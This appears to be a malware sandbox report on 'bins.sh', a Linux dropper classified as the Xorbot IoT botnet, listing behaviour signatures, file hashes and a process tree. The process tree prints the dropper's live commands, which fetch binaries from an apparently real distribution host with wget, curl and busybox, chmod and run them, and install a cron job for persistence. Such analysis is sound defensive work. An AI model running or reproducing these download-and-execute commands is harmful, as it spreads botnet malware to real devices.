Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    121s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24/01/2025, 14:43

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250124-r3jsvsvmfj
  • SHA256 a4cdd3b7ac2290336bd5a1fdadafa9f027d4fdb30ae8fe70dbf3a75f7ee732fd
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2210) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1511
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1513
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:1514
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:1518
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:1520
      • /bin/chmod
        chmod 777 36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • File and Directory Permissions Modification
        PID:1521
      • /tmp/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        ./36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
          PID:1522
        • /bin/rm
          rm 36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
          2⤵
            PID:1524
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1525
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1526
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1528
          • /bin/chmod
            chmod 777 xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            ./xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
              PID:1530
            • /bin/rm
              rm xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
              2⤵
                PID:1532
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1533
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1534
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1536
              • /bin/chmod
                chmod 777 dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • File and Directory Permissions Modification
                PID:1537
              • /tmp/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                ./dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:1538
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1540
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1541
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1542
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1543
                    • /bin/rm
                      rm dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                      2⤵
                        PID:1545
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        2⤵
                        • System Network Configuration Discovery
                        PID:1548

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
                          • Path /tmp/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
                          • Size 151KB
                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                          • Path /tmp/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                          • Path /tmp/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                          • Size 111KB
                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.EWqvqb
                          • Path /var/spool/cron/crontabs/tmp.EWqvqb
                          • Size 210B
                          • SHA256 ac9f2904e868c15976ca713ff8c0dc37648565e9d6c720fda8f5e99db174349d
                          • MD5 SHA1 SHA512
                          Submit Download